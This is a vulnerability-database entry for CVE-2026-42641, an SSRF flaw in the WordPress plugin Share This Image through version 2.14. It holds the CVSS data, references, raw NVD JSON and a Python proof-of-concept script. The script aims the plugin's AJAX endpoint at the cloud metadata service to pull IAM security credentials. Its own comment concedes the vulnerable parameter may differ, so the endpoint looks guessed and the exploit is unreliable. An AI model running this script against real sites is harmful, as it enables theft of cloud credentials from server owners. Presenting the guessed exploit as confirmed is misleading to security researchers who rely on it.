CVE-2026-42641

Description

Server-Side Request Forgery (SSRF) vulnerability in ILLID Share This Image share-this-image allows Server Side Request Forgery.This issue affects Share This Image: from n/a through <= 2.14.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Share This Image <= 2.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_ssrf(target_url):
    """
    PoC for CVE-2026-42641: Share This Image <= 2.14 SSRF
    Attempts to access an internal metadata service or local address.
    """
    # Target metadata service often used to demonstrate SSRF impact
    internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    
    # Construct the malicious payload URL
    # Note: Actual vulnerable endpoint parameter might vary based on plugin version
    exploit_url = f"{target_url}/wp-admin/admin-ajax.php?action=share_this_image_fetch&target={internal_target}"
    
    try:
        print(f"[*] Sending request to: {exploit_url}")
        response = requests.get(exploit_url, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check response for data leakage.")
            print(f"[+] Response Content: {response.text[:500]}")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://vulnerable-wordpress-site.com"
    exploit_ssrf(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42641
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42641
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42641/
[4] VulDB https://vuldb.com/cve/CVE-2026-42641
[5] https://patchstack.com/database/Wordpress/Plugin/share-this-image/vulnerability/wordpress-share-this-image-plugin-2-14-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42641", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:19.260", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in ILLID Share This Image share-this-image allows Server Side Request Forgery.This issue affects Share This Image: from n/a through <= 2.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/share-this-image/vulnerability/wordpress-share-this-image-plugin-2-14-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}